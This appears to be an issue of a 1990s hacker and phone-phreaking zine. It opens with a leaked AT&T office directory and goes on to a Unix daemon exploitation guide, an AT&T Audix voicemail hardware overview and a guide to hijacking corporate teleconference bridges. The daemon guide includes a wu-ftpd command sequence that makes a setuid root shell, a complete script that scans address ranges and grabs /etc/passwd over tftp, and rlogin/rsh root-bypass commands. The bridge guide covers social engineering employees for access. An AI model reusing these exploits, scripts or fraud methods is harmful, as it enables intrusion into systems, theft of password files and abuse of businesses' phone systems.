NJ 08110 609-488-9020 HOPEWELL-ERC CARTER RD. HPWL TNSHP NJ 08525 609-639-1234 HOPEWELL-CEC CARTER RD. HPWL TNSHP NJ 08525 609-639-4500 AT&T 29-C EMMONS DRIVE PRINCETON NJ 08540 609-987-3000 LAWRENCEVILLE-CEC 3131 PRINCETON OFC PK LRNCVLLE NJ 08648 609-896-4000 AT&T COMM (IMS) 1300 WHITE HOUSE TRENTON NJ 08690 609-581-1000 AT&T 745 RT 202/206N BRIDGEWATR NJ 08807 201-231-6000 AT&T 95 CORPORATE DR. BRIDGEWATR NJ 08807 201-658-5000 AT&T MARKTG CTR 55 CORPORATE DR. BRIDGEWATR NJ 08807 201-658-6000 AT&T 485 U.S. ROUTE 1 S., PKWY TOWERS ISELIN NJ 08830 201-855-8000 AT&T 80 NORTHFIELD AVE. EDISON NJ 08837 201-225-8700 AT&T 20 KNIGHTSBRIDGE RD PISCATAWAY NJ 08854 201-457-1028 AT&T 30 KNIGHTSBRIDGE RD PISCATAWAY NJ 08854 201-457-2000 AT&T 180 CENTENNIAL AVE. PISCATAWAY NJ 08854 201-457-6000 AT&T CORP ED. 140 CENTENNIAL AVE. PISCATAWAY NJ 08854 201-457-7000 AT&T 371 HOES LN. PISCATAWAY NJ 08854 201-463-2200 AT&T 242 OLD NEW BRUNSWICK RD PISCATAWAY NJ 08854 201-562-6900 AT&T 100 ATRIUM WAY SOMERSET NJ 08873 201-560-1300 AT&T PIXEL MACHINES 1 EXEC.DR. SOMERSET NJ 08873 201-563-2200 HOLMDEL-BL CRAWFORDS CORNER RD HOLMDEL NJ 07733 201-949-3000 AT&T 1001 MENAUL BLVD. N.E. B345 ALBUQURQUE NM 87107 505-761-6300 SANDIA NAT'L LABS 1515 EUBANK BLVD. S.E. ALBUQURQUE NM 87123 505-844-5678 AT&T 220 EDISON WAY RENO NV 89502 702-239-7015 AT&T ENVIRON SAFETY 32 AVE. OF AMERICAS NEW YORK NY 10013 212-219-6396 AT&T-NYC 22 CORTLANDT ST. NEW YORK NY 10017 212-393-9800 550 MADISON AVE. NEW YORK NY 10022 212-605-5500 NS ONE PENN PLAZA SUITE 5420 NEW YORK NY 10119 212-714-5900 AT&T 2 MANHATTANVILLE RD. PURCHASE NY 10577 914-251-0700 SUFFERN MMC 22 HEMION RD. SUFFERN NY 10901 914-577-6600 AT&T 520 BROAD HOLLOW RD. MELVILLE NY 11747 516-420-3000 ALBANY 11 26 AVIATION RD. ALBANY NY 12205 518-489-4615 AT&T 16 CORPORATE WOODS BLVD. ALBANY NY 12211 518-447-6900 AT&T 2 JEFFERSON PLAZA, FLR 2 POUGHKEPSE NY 12601 914-485-7744 AT&T MARKETING 6597 KINNE RD SYRACUSE NY 13214 315-445-3800 AT&T 300 PEARL ST. OLYMPIA TOWERS BUFFALO NY 14202 716-849-6000 BUFFALO INSTALL. 25 JOHN GLENN DR. AMHERST NY 14228 716-691-2711 AT&T 1 MARINE MIDLAND PLZ. ROCHESTER NY 14604 716-777-4400 CET 5151 BLAZER MEM. PKWY DUBLIN OH 43017 614-764-5454 COLUMBUS WORKS 6200 E. BROAD ST. COLUMBUS OH 43213 614-860-2000 AT&T ONE SEAGATE, SUITE 750 TOLEDO OH 43604 419-245-3700 AT&T-NS 55 ERIEVIEW PLAZA 4TH FL. CLEVELAND OH 44114 216-664-6500 ADP 7007 E. PLEASANT VALLEY INDEPNDNCE OH 44131 216-447-1980 NAT'L ACCOUNT 1 FIRST NAT'L PLAZA DAYTON OH 44502 513-449-7800 AT&T 7725 W. RENO AVE. OK. CITY OK 73126 405-491-3000 AT&T LGE BUS. MACHINES 2020 S.W. 4TH AVE. PORTLAND OR 97201 503-295-5000 AT&T MICROELECT 1220 SW GREENBURGH RD PORTLAND OR 97223 503-244-3883 AT&T COMMERCE CT. 4 STATION SQ. SUITE 770 PITTSBURGH PA 15219 412-338-4800 AT&T 4 GATEWAY CTR. SUITE 500 PITTSBURGH PA 15222 412-392-8200 AT&T 470 STREETS RUN RD. PITTSBURGH PA 15236 412-882-1845 HARRISBURG 2080 LINGLESTOWN RD. HARRISBURG PA 17110 717-540-7251 ALLENTOWN-BETHLEHEM 2255 AVE. A BETHLEHEM PA 18018 215-861-2700 AT&T-BL STC RT 222 BREINIGSVL PA 18103 215-391-2000 AT&T MICROELECT. 961 MARCON BLVD. ALLENTOWN PA 18103 215-266-2900 ALLENTOWN-BL 1247 SO. CEDAR CREST BLVD. ALLENTOWN PA 18103 215-770-2200 AT&T 1 IMPERIAL WAY 2ND FL. ALLENTOWN PA 18195 215-398-5800 AT&T 3 BALA PLAZA WEST BLDG. BALA CYNWD PA 19004 215-581-2400 AT&T 514 KAISER DR. FOLCROFT PA 19032 215-724-5250 AT&T 1800 JFK BLVD., SUITE 1300 PHILADELPH PA 19103 215-972-1300 KING OF PRUSSIA 601 ALLENDALE RD. KING OF PR PA 19406 215-768-2600 READING WORKS 2525 N. 12TH ST. READING PA 19604 215-939-7011 AT&T NASSAU RECYCLE 4201 W. COLUMBIA CASEY SC 29033 803-796-4720 AT&T 1201 MAIN ST. 22ND FL. COLUMBIA SC 29201 803-733-3800 AT&T 111 WESTWOOD PL. 3RD FL. BRENTWOOD TN 37027 615-377-4000 AT&T MICROELECT. 195 POLK AVE. NASHVILLE TN 37211 615-749-8222 AT&T REPAIR CTR 653 MAINSTREAM DR. NASHVILLE TN 37228 615-242-1950 NASHVILLE MSL 566 MAINSTREAM DR. NASHVILLE TN 37228 615-256-4111 AT&T 9041 EXECUTIVE PARK KNOXVILLE TN 37923 615-690-3400 AT&T-NS SALES 909 E.LAS COLINAS BLVD IRVING TX 75039 214-401-4700 DALLAS WORKS 3000 SKYLINE DRIVE MESQUITE TX 75149 214-284-2000 AT&T-NS 1201 MAIN ST. SUITE 2555 DALLAS TX 75202 214-745-4790 AT&T 5525 LBJ FREEWAY DALLAS TX 75240 214-308-2000 AT&T 2501 PARKVIEW DR., SUITE 200 FT.WORTH TX 76102 817-870-4400 AT&T-NS 2900 N. LOOP WEST HOUSTON TX 77092 713-956-4400 AT&T CITYVIEW 10999 IH 10 W SAN ANTON TX 78230 512-691-5700 AT&T 5444 S. STAPLES CORPUS CHR TX 78411 512-994-4400 AT&T 8911 CAP. OF TEX HGHWY AUSTIN TX 78759 512-343-3000 AT&T 415 WEST 8TH ST. SUITE 307 AMARILLO TX 79101 806-374-9435 AT&T-BMG 3000 N. GARFIELD SUITE 180 MIDLAND TX 79705 915-687-8700 AT&T-NS 10521 ROSEHAVEN ST. FAIRFAX VA 22030 703-352-0900 AT&T-NS 12450 FAIR LAKES CIRCLE FAIRFAX VA 22033 703-631-3288 AT&T-BELL LABS 1201 S. HAYES ST. ARLINGTON VA 22202 703-769-8900 AT&T 1550 WILSON BLVD. ARLINGTON VA 22209 703-247-4690 AT&T FED SYS 1201 S. HAYES ST. ARLINGTON VA 22209 703-685-8678 AT&T MAJOR MKT & SALES 600 EAST BROAD ST. RICHMOND VA 23219 804-775-3300 AT&T OSO 1530 E. RUN RD. RICHMOND VA 23228 804-262-4062 RICHMOND WORKS 4500 S. LABURNUM AVE. RICHMOND VA 23231 804-226-5000 AT&T 1338 PLANTATION RD NE ROANOKE VA 24012 703-344-1160 NEW RIVER VALLEY CALLER 21 RADFORD VA 24143 703-731-8000 AT&T 2901 THIRD AVE. SEATTLE WA 98121 206-443-7000 AT&T ACCT MGMT 2121 4TH AVE. SEATTLE WA 98121 206-728-4749 AT&T N. 9 POST SUITE 330 SPOKANE WA 99201 509-747-6110 AT&T 400 S. EXECUTIVE DR. BROOMFIELD WI 53005 414-785-9110 MILWAUKEE CP/ASSEM.CTR MILWAUKEE WI 53212 414-963-8200 AT&T 2802 INTERNAT'L LN, 2ND FLR MADISON WI 53704 608-241-8900 AT&T 900 PENNSYLVANIA AVE. CHARLESTON WV 25302 304-347-2000 MARTINSBURG MMC TABLER STA.RD. MARTINSBRG WV 25401 304-263-6931 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ And remember... All directory information is classified AT&T Proprietary and, as such, should be safeguarded as outlined in GEI 2.2. Responsibility for security is passed on to each employee receiving the directory. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo> Playing with the Internet Daemons by Voyager [TNO] Internet hosts communicate with each other using either TCP (Transmission Control Protocol) or UDP (User Datagram Protocol) on top of IP (Internet Protocol). Other protocols are used on top of IP, but TCP and UDP are the ones that are of interest to us. On a Unix system, the file /etc/protocols will list the available protocols on your machine On the Session Layer (OSI model) or the Internet Layer (DOD Protocol Model) data is moved between hosts by using ports. Each data communication will have a source port number and a destination port number. Port numbers can be divided into two types, well-known ports and dynamically allocated ports. Under Unix, well-known ports are defined in the file /etc/services. In addition, RFC (Request For Comments) 1700 "Assigned Numbers" provides a complete listing of all well-known ports. Dynamically allocated port numbers are assigned as needed by the system. Unix provides the ability to connect programs called daemons to well-known ports. The remote computer will connect to the well-known port on the host computer, and be connected to the daemon program. Daemon programs are traditionally started by inetd (The Internet Daemon). Daemon programs to be executed are defined in the inetd configuration file, /etc/inetd.conf. Most of these daemons run as a priveledged user, often as root. Many of these programs have vulnerabilities which can be exploited to gain access to remote systems. The daemons we are interested in are: Service Port Number Description ~~~~~~~~~~~~~ ~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ftp 21 File Transfer [Control] smtp 25 Simple Mail Transfer Protocol tftp 69 Trivial File Transfer Protocol finger 79 Finger www-http 80 World Wide Web HTTP sunrpc 111 SUN Remote Procedure Call fln-spx 221 Berkeley rlogind with SPX auth rsh-spx 222 Berkeley rshd with SPX auth netinfo 716-719 NetInfo ibm-res 1405 IBM Remote Execution Starter nfs 2049 Network File System x11 6000-6063 X Window System rcp/rshd Remote Copy/Remote Shell Daemon nis Network Information Services The next part of this article will focus on specific daemons and their known vulnerabilities. The vulnerabilities with brief explanations will be explained here. For the more complicated exploits, which are beyond the scope of a concise article, more research will be required on the part of the reader. --> ftp 21 File Transfer [Control] FTP is the File Transfer Protocol. FTP requests are answered by the FTP daemon, ftpd. wuarchive's ftpd versions below 2.2 have a vulnerability where you can execute any binary you can see with the 'site exec' command by calling it with a relative pathname with "../" at the beginning. Here is a sample exploit: Login to the system via ftp: 220 uswest.com FTP server (Version wu-2.1(1) ready. Name (uswest.com:waltman): waltman 331 Password required for waltman. Password: jim 230 User waltman logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> quote "site exec cp /bin/sh /tmp/.tno" 200-cp /bin/sh /tmp/tno ftp> quote "site exec chmod 6755 /tmp/.tno" 200-chmod 6755 /tmp/tno ftp> quit 221 Goodbye. --> smtp 25 Simple Mail Transfer Protocol Mail attacks are one of the oldest known methods of attacking Internet hosts. The most common mail daemon, and least secure, is sendmail. Other mail daemons include smail, MMDF,and IDA sendmail. Sendmail has had too many vulnerabilities to list them all. There is an entire FAQ written specifically on sendmail vulnerabilities, therefore we will not cover them heavily here. One well known vulnerability, useful only for historical purposes, is "Wizard Mode." In Wizard mode you could request a shell via Port 25 (The SMTP port). No modern system will be vulnerable to this attack. To exploit this vulnerability, you telnetted to port 25, typed WIZ to enter Wizard mode, and entered the password. The problem related to the way the encrypted password was stored. There was a bug that caused the system to believe that no password was as good as the real password. To quote Steven Bellovin: The intended behavior of wizard mode was that if you supplied the right password, some other non-standard SMTP commands were enabled, notably one to give you a shell. The hashed password -- one-way encrypted exactly as per /etc/passwd -- was stored in the sendmail configuration file. But there was this bug; to explain it, I need to discuss some arcana relating to sendmail and the C compiler. In order to save the expense of reading and parsing the configuration file each time, sendmail has what's known as a ``frozen configuration file''. The concept is fine; the implementation isn't. To freeze the configuration file, sendmail just wrote out to disk the entire dynamic memory area (used by malloc) and the `bss' area -- the area that took up no space in the executable file, but was initialized to all zeros by the UNIX kernel when the program was executed. The bss area held all variables that were not given explicit initial values by the C source. Naturally, when delivering mail, sendmail just read these whole chunks back in, in two giant reads. It was therefore necessary to store all configuration file information in the bss or malloc areas, which demanded a fair amount of care in coding. The wizard mode password was stored in malloc'ed memory, so it was frozen properly. But the pointer to it was explicitly set to NULL in the source: char *wiz = NULL; That meant that it was in the initialized data area, *not* the bss. And it was therefore *not* saved with the frozen configuration. So -- when the configuration file is parsed and frozen, the password is read, and written out. The next time sendmail is run, though, the pointer will be reset to NULL. (The password is present, of course, but there's no way to find it.) And the code stupidly believed in the concept of no password for the back door. One more point is worth noting -- during testing, sendmail did the right thing with wizard mode. That is, it did check the password -- because if you didn't happen to do the wizard mode test with a frozen configuration file -- and most testing would not be done that way, since you have to refreeze after each compilation -- the pointer would be correct. --> tftp 69 Trivial File Transfer Protocol tftp is the Trivial File Transfer Protocol. tftp is most often used to attempt to grab password files from remote systems. tftp attacks are so simple and repetitive that scripts are written to automate the process of attacking entire domains. Here is one such script: #!/bin/sh ######################################################################## # TFTP snagger by Yo # It snags /etc/passwd files from all hosts with open 69 (tftp) port. # scans all hosts from XX.XX.0.0 - XX.XX.255.255 # you can run it in the background in following way: # snag [hostname] > /dev/null & # [hostname] might be used IP # (with -ip option) as well as FQDN # Last Updated 10/20/92 # # Highly modified by ThePublic on 10/21/92 ######################################################################## case $1 in '') echo " Usage: $0 [hostname] to run in the foreground " echo " $0 [hostname] > /dev/null & to run in the background " echo " The [hostname] can be specialized in fully qualified domain name " echo " i.e.- $0 nyx.cs.du.edu - and it'll scan all du.edu domain. " echo " as well as IP with -ip option. " exit 1 ;; -ip) if [ $2x = x ]; then echo " Usage: $0 $1 the IP " exit 1 else x=`echo $2 | cut -d. -f1` xx=`echo $2 | cut -d. -f2` xxx=`echo $2 | cut -d. -f3` xxxx=`echo $2 | cut -d. -f4` # ^ field delimiter is '.' -- get field 1/2/3/4 fi;; *) if [ ! -f /usr/ucb/nslookup ] && [ ! -f /usr/local/bin/nslookup ]; then # -x is for SunOs echo sorry dude, no nslookup server .. try it with -ip option. exit 1 fi x1=`nslookup $1 | fgrep "Address" | cut -c11-17 | tail -1` # ^ 7 chars ^ last line if [ "$x1" = '' ]; then echo " There is no such domain. Nothing to scan. Exit. " exit 1 fi x=`echo $x1 | cut -d. -f1` # get the first set of #, ##, or ### xx=`echo $x1 | cut -d. -f2` # get the second set xxx=0 # ignore the rest, if any xxxx=0 ;; esac if [ $x -lt 1 ] || [ $x -ge 255 ] || [ $xx -lt 1 ] || [ $xx -ge 255 ]; then echo There is no such domain. Nothing to scan. exit 1 fi while [ $x -ne 255 ]; do while [ $xx -ne 255 ]; do while [ $xxx -ne 255 ]; do while [ $xxxx -ne 255 ]; do target=$x.$xx.$xxx.$xxxx trap "echo The Process was stopped at $target;rm -rf passwd.$target; exit 1" 2 tftp << EOF c $target mode ascii trace get /etc/passwd passwd.$target quit EOF if [ ! -s passwd.$target ] ; then rm -rf passwd.$target echo `date` $target has rejected an attempt >> .info else mv passwd.$target .good.$target echo `date` $target is taken, all data is stored in .good.$target file >> .info fi xxxx=`expr $xxxx + 1 ` done xxxx=0 xxx=`expr $xxx + 1 ` done xxx=0 xx=`expr $xx + 1 ` done xx=0 x=`expr $x + 1 ` done --> finger 79 Finger The finger command displays information about another user, such as login name, full name, terminal name, idle time, login time, and location if known. finger requests are answered by the fingerd daemon. Robert Tappan Morris's Internet Worm used the finger daemon. The finger daemon allowed up to 512 bytes from the remote machine as part of the finger request. fingerd, however, suffered from a buffer overflow bug caused by a lack proper bounds checking. Anything over 512 got interpreted by the machine being fingered as an instruction to be executed locally, with whatever privileges the finger daemon had. --> www-http 80 World Wide Web HTTP HTML (HyperText Markup Language) allows web page user to execute programs on the host system. If the web page designer allows the web page user to enter arguments to the commands, the system is vulnerable to the usual problems associated with system() type calls. In addition, there is a vulnerability that under some circumstances will give you an X-Term using the UID that the WWW server is running under. --> sunrpc 111 SUN Remote Procedure Call Sun RPC (Remote Procedure Call) allows users to execute procedures on remote hosts. RPC has suffered from a lack of secure authentification. To exploit RPC vulnerabilities, you should have a program called "ont" which is not terribly difficult to find. --> login 513 Remote login Some versions of AIX and Linux suffer from a bug in the way that rlogind reads arguments. To exploit this vulnerability, issue this command from a remote system: rlogin host -l -froot Where host is the name of the target machine and username is the username you would like to rlogin as (usully root). If this bug exists on the hosts system, you will be logged in, without being asked for a password. --> rsh-spx 222 Berkeley rshd with SPX auth Some versions of Dynix and Irix have a bug in rshd that allows you to run commands as root. To exploit this vulnerability, issue this command from the remote system: rsh host -l "" /bin/sh --> netinfo 716-719 NetInfo NeXT has implemented a protocol known as NetInfo so that one NeXT machine can query another NeXT machine for information. A NetInfo server will by default allow unrestricted access to system databases. This can be fixed by the System Administrator. One of the pieces of information netinfo will give up is the password file. --> ibm-res 1405 IBM Remote Execution Starter rexd (the remote execution daemon) allows you to execute a program on another Unix machine. AIX, NeXT and HPUX versions of rexd have suffered from a vulnerability allowing unintended remote execution. The rexd daemon checks your uid on the machine you are coming from, therefore you must be root on the machine you are mounting the rexd attack from. To determine if your target machine is running rexd, use the 'rcp -p <target>' command. You will also need the exploit program known as 'on' which is available on fine H/P boards everywhere. --> nfs 2049 Network File System NFS, the Network File System, from Sun Microsystems has suffered from multiple security vulnerabilities. In addition, many system administrators configure NFS incorrectly, allowing unintended remote access. Using the command 'showmount -e <target>' you can view what file systems are exported from a machine. Many administrators allow read access to the /etc directory, allowing you to copy the password file. Other administrators allow write access to user directories, allowing you to create .rhosts files and gain access to the machine via rlogin or rsh. In addition to configuration issues, NFS is vulnerable to attacks using a uid masking bug, a mknod bug, and a general file handle guessing attack. Several hacked versions of the mount command have been written to exploit known vulnerabilities. --> x11 6000-6063 X Window System X-Windows has suffered and currently suffers from numerous vulnerabilities. One vulnerability allows you to access another users display, another allows you to view another users keystrokes. Another vulnerability allows a remote attacker to run every program that the root user starts in his or her .xsession file. Yet another X-Windows vulnerability allows a local user to create a root entry in the /etc/passwd file. --> rcp The SunOS 4.0.x rcp utility can be exploited by any trusted host listed in /etc/hosts.equiv or /.rhosts. To exploit this hole you must be running NFS (Network File System) on a Unix system or PC/NFS on a DOS system. --> NIS Sun's NIS (Network Information Service) also known as yp (Yellow Pages) has a vulnerability where you can request an NIS map from another NIS domain if you know the NIS domain name of the target system. There is no way to query a remote system for it's NIS domainname, but many NIS domain names are easily guessable. The most popular NIS map to request is passwd.byname, the NIS implementation of /etc/passwd. In addition, if you have access to a diskless Unix workstation, you can determine the NIS domain name of the server it boots from. +--------------------------------------------------------+ + Do not confuse NIS domain names with DNS domain names! | +--------------------------------------------------------+ --> Other attacks In addition to these daemon based attacks, many other methods can be used to gain access to a remote computer. These include, but are not limited to: default accounts, password guessing, sniffing, source routing, DNS routing attacks, tcp sequence prediction and uucp configuration exploits. This should give you an idea on how daemon based attacks function. By no means is this a complete list of security vulnerabilities in privileged internet daemons. To discover more information about how these daemons operate, and how to exploit their vulnerabilities, I highly recommend reading source code, man pages and RFC's. Voyager[TNO] <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo> [][][][][][][][][][][][][][][][][][][][][][] [[[ ]]] [[[[ THE DEFINITY AUDIX VMS INSIDE OUT ]]]] [[[[[ ]]]]] [[[[[[[ by: Boba Fett ]]]]]]] [[[[[[[[[[[ ]]]]]]]]]]] [][][][][][][][][][][][][][][][][][][][][][] - " What?! Another crummy file on the Audix voice mail? " Not exactly. In COTNO #1, you will find a good article on identifying and obtaining mailboxes on the Audix Voice Mail System (VMS). This paper will discuss the physical/electrical design of the Audix System and how it's integrated with the Definity switch. I will not discuss how to obtain dialups to the audix or hacking it, that's another file :). Most of the information and diagrams in this paper where gathered from various sources. Mainly, the AT&T Tech. Journal may/june 1994, and some very cooperative AT&T representatives. ;) 1) Hardware ----------- All right, what does this baby look like? Well, all in all, it's quite simple. There are 4 major components, all of which can be easily replaced or removed. A tape drive, a hard disk and 2 circuit boards. Here's what the Definity Audix's front panel looks like. Disk/Alarm board MFB panel .---------------------.__.-----. | _______________ | | | | | | | | o <----- Red LED | | | | | | | | ||| | | | O <---------- "Enter/yes" Button | | ||| | | | __ | Tape ----->| |||| | | | || | Unit | | |||| | | | || | | | ||| | | | || <----- Alphanumeric liquid | | ||| | | | || | crystal display(10 character) | | ||| | | | -- | | --------------- | | O <---- "Next/no" button | | | | | | | | Boot/ -----------------> O | | O <---- "Back" button shutdown | | |Back | button | .--------. | | | | | Some | | | | | | stupid | _ | | _ | | | warning| | | | | | <-------------- Handles/ | | label. | | | | | | | | / latch | |________| | <---------------- .________________|_|__|--|_|_|_| As you can see, it consists of two boards: The multifunction board (right), and the disk/alarm board (left). o MFB major components: - A 386 processor (supports Unix System V) with 16 megs of dynamic RAM (DRAM). - An array of six 50 mhz digital signal processors (DSPs). - The Definity switch time-division multiplexed (TDM) bus interface. - An alarm monitoring processor. :( o D/ALB major components: - A tape drive - A Hard Drive - An online modem for REMOTE ALARM NOTIFICATION, AND REMOTE MAINTENANCE. The modem is included with the package. If the on-board modem does not comply with the local telco rules (for example foreign countries) , than through the RS-232 port an external one can be attached. Let's take a deeper look inside and see where the components go. .--------------------------------------. /| + Disk/Alarm Board + |__Tip/Ring .--------. / | .------------------remote acs ports--|___RS-232 | | / | | | | | / | | .------|--------|--------Ethernet----- LAN |S | / | | | Tape System Disk controller| |W | / |_|__|_________________________________| |I |/ |-|--|---------------------------------| |T|======| | | | + Multifunction Board + | |C| Audix| | | | | |H|======| | | | /============== RS-232 | |\ | | SCSI 386 Serial Data Packet | |________| \ | | Interface CPU async/sync. bus |--- Packet \ | | -|-----------|-------|------inter- | Bus \ | | | 16 Meg DMA face | \ | Faceplate RAM | \ | | \ | & Control | \ TDM | \ | 3 DSP 32Cs---Interface|--- TD bus \______________________________________| o Explanation of some terms: CPU: Central Processing Unit DSP: Digital Signal Processor TDM: Time-Division Multiplexed DMA: Direct Memory Access SCSI: Small Computer System Interface The Definity Audix VMS is so compact because it has to fit in the Definity PBX's port slot. It can: detect a incoming call, detect when the caller has disconnected, disconnect a call on ANY port. It can also, disable any port to prevent it from receiving incoming calls, and most important of all, it can originate outgoing calls. It is also good to know that it has CLID. Here's a list of it's functions: - Call History Information (Called Party ID,Calling party ID and reason for call). - Integrated message waiting notification (LED). - Disconnect message (Contact Administrator for help, please disconnect goodbye). - Message waiting status information (Updated on activity, Audit of each vmb and refresh of all vmbs). - Maintenance info. for link. - Audix control of port. (disconnect call, detect caller, etc..) I've been referring to it as the Definity Audix, and not just Audix. Audix, (aka Audix release 1), was first introduced in 1984. The Definity Audix, however, was introduced in 1992, and came with a series of more advanced features. For example, the time scale modification option was improved, allowing the playback of messages at slower or faster speeds. Or the speech encoder/decoder algorithm which was changed resulting in better sound quality (so they say). How can you tell if it's a Definity when calling it remotely? Well, quite frankly I'm not sure. There is a way, however, it isn't very easy to apply. The Audix, release 1 system takes approx. 1 second to detect your DTMF tones. Now, the Definity, on the other hand, takes only about 25 milliseconds, less than half the time. You can time the reaction, and figure out what your dealing with, but there are many things that can affect the response time also (for example, the amount of people using the voice mail). As you can see this method isn't very reliable. 2) Software ----------- The system software resides on a single 160 meg casettee tape. It is loaded on the hard disk whenever an installation or upgrade is being performed. There is also a big part of the code, which constantly monitors multiple thermal sensors on the two circuit packs, making sure that they don't over heat. The chick's sweet voice you hear when interacting with the VMS, is composed of multiple fragments. A fragment can be a single word, a complete sentence, or a bunch of sentences. For example, "Please enter extension and pound sign" is most likely to be two fragments. The first being "please enter extension" and the second being "and pound sign". Obviously, this is used to save space. A second recording is: "Enter password and pound sign", the "and pound sign" is the same fragment as in the first one. Since AT&T sells it's Audix system in nearly 80 countries, there are a couple of different language tapes also. So don't be surprised if you encounter a Spanish or Japanese Audix VMS. Currently AT&T offers ten language tapes and the Definity Audix can support up to nine different language tapes simultaneously. "So if it's an Audix voice mail then there's a Definity PBX, right? " Wrong. Even though it fits the Definity PBX like a glove, it can be integrated with other switches. Some of the most common are: - G3I - System 25 - G3S - System 75 - G3R - System 85 I'm not sure about NorTel switches such as the SL-1, some people say yes, while others say that only AT&T switches can be integrated with Audix. If anyone knows, please let me know. Comments or suggestions are welcome. - Boba Fett <EOF> <05/23/95> <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo> /\ \/ Bridging the Gap /\-------------------------/\ \/-------------------------\/ Eddie Van Halen /\ \/ INTRODUCTION ------------ First of all I wrote this because for one thing I am SICK AND TIRED of sitting on irc and seeing "k0nPhiNf0!?" pumped through my terminal every five seconds. Then,once they get the k0nPh iNf0, I am forced to constantly hear from the k0nPh people about how "DiZ k0nPh sUx!". People give me k0nPh info all the time but I NEVER call into them. Why? Because these days,they DO suck. It seems the underground world have completely forgotten about what use to be the best way to conference - BRIDGE's. ABOUT BRIDGES ------------- I'm sure everyone reading this knows what a bridge is. Whether they know the best way to get them is another thing. I do, however, run across the occasional irc'er that /msgs me with "whats a bridge?" when I bring up the subject. Bridges are just about the same as k0nPhz, except they are usually owned and used by big businesses and schools on their own telephone equipment. This equipment is usually integrated into their voice mail and/or PBX computers and allows the company or school to hold teleconferences without relying on the national teleconference providers. For those out there (if any?) that remember the 904-348 bridge, it was a System 75 PBX bridge used by a home school, where the students would call in in the daytime and take tests and attend classes. The way it was used was as follows: You would dial 348-XX00 to 348-XX19. That was ONE of the bridges. Anybody that connected to any number from 00 to 19 would be connected to the bridge. If two people tried to connect to the same number, it would be busy. Thus, it had 20 lines. A second bridge was reached at 348-XX20 to 348-XX29. This was off the same system, but gave you a different bridge with 10 lines. Yet another bridge could be found at 348-XX30 to 348-XX69 off the same system. You could call in during the daytime and mess with the teachers and kids or whatever, but occasionally they would hang you up, or call you back or something. This one went down because it wasn't blocked from collect calls, and the number got very widespread throughout the k0d3lyN3 and BBS world and was constantly collect-called by lamers who didn't know how to phreak. It is, however, occasionally up for the students to use, but goes down as soon class is over. FINDING A BRIDGE. ----------------- Finding a bridge use to be the easiest thing for me. It used to be, like, WHAT I DID. I would put one up on my codeline, and spread it to the others, and would call into QSD or Lutz or something about 30 minutes afterward and get messages from people who I didn't even know saying "Hey,man,thanx for puttin up that bridge!". These days I don't even bother. I don't WANT to talk to half these idiots that are around today. Anyway, lets say you want to find a bridge. Go through the phonebook and look up the all the big businesses. Call the main numbers that you find after hours and find out which ones have voice mail systems. In this article, I will focus on the Audix voicemail system made by AT&T so look for those. To tell if your target is using Audix, press *8 during the greet, and if it says "Enter the four digit extension and pound sign." you have found one. A complete guide to hacking Audix voice mail can be found in CoTNo #1, article #1. Railroad companies like CSX and AT&T owned companies like Transtech, or Card Services often have Audix systems with bridges. Once you have the targeted Audix system,you need to start scanning for the system extensions. Hit *6 for the names directory and try entering CONFERENCE, BRIDGE, or TELE. You COULD possibly get the actual extension to the bridge spit out right at you (as with CSX's system),or at least most systems have that extension where you hear the person state their name "Conference Planning". If this is the case,you need to get a voice mail box off the system and send a message to whatever extension Conference Planning is saying something like "Yes, I need a conference set up for such and such a date & such and such a time". This will more than likely work and Conference Planning will respond usually with either "No problem, the teleconference bridge is at XXXX" or "All we need is the PIN number you want." However, a lot of systems do not have their *6 directory system configured very good at all, so you might want to try scanning all the XX00 and XX99 and find out where all the computer-related extensions are located at. Or you might want to social engineer it out of one of the people located at an extension. Try calling from within your box and acting like you work there. Once you have found what you think is the bridge,you need to test it out with a friend. If he calls into the same extension and gets a busy signal, you may want tell him to try the next extension up. If the bridge is multi-lined, have him figure out how many lines the bridge has and make sure the lines are all going to the same bridge and not 3 different bridges or something. Note that if you are scanning on a Railroad companies system, you will sometimes come to an extension you might think is a bridge and end up to be dispatchers. So once you sign on to what you believe is the bridge,hit a few dtmf tones and make sure you don't hear someone say "You done hittin funny buttons!!!" or "dispatcher,mike." SECURITY ON A BRIDGE. --------------------- Security on a bridge is a lot different than on an alliance or on a k0nPh. You usually don't have to worry about it getting cancelled and the bridge usually will not ever go down if you don't third-party or collect call to it. You are not dealing with the phone company here, you are dealing with whatever business owns it, and if they detect a lot of activity on the extension, they will usually either warn you to leave by recording the conversations and playing them back to you, or just change the extension. DO expect to be dealing with the business communication security person, though, at one time or another. They will usually talk to you and explain to you why they need you to leave, and most of the time I found out, it wasn't because of the people using their bridge, it was because of the collect- calling, third party billing or the fact that people were using it via the 800 number and the company was having to pick up the tab. I don't recommend finding a bridge and giving it to the entire world because when you are not on, you don't know what goes on in the conversation, and if the company does finally decide to get it investigated, the investigators seem to go after the same thing every time: the source that gave out the bridge in the first place. CONCLUSION ---------- Hopefully you have learned something from all this. With a little time and patience, you can set up a bridge that will last for weeks, maybe months. And besides, hacking out a phone system will teach you a lot more than than setting up a k0nPh off your neighbor's phone terminal. So next time you see someone flash "k0nPhiNf0!?", tell them to get off there ass and try hacking one out for a change. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo> Elite Music Part V - Disk Jockey/WR - Please note the /WR. Until now I have not been in textfiles at large, only a few given to good friends. There have been other `DJ's out there; as many as six by my count, so far. So even that my group has had but one member for over four years, I keep the tag to distinguish myself. Well, while on a (pretty lame, I must admit) conference with a barrage of lame people, sending streams of DTMF tones, long belches, humming, and music down the line, I got an idea. At one point the B-52's `Roam' was played in the background during a half-intelligent discussion of cellular telecommunications. These lyrics almost came to me almost immediately, and these are the results. I intend to record this song for real in a few months or so; I do have the instrumental of the real song and it would be somewhat fun to do. Maybe a .AU will be out there on the Web, sometime... and by that time these lame people might grow up. (But, I can't ask for everything.) 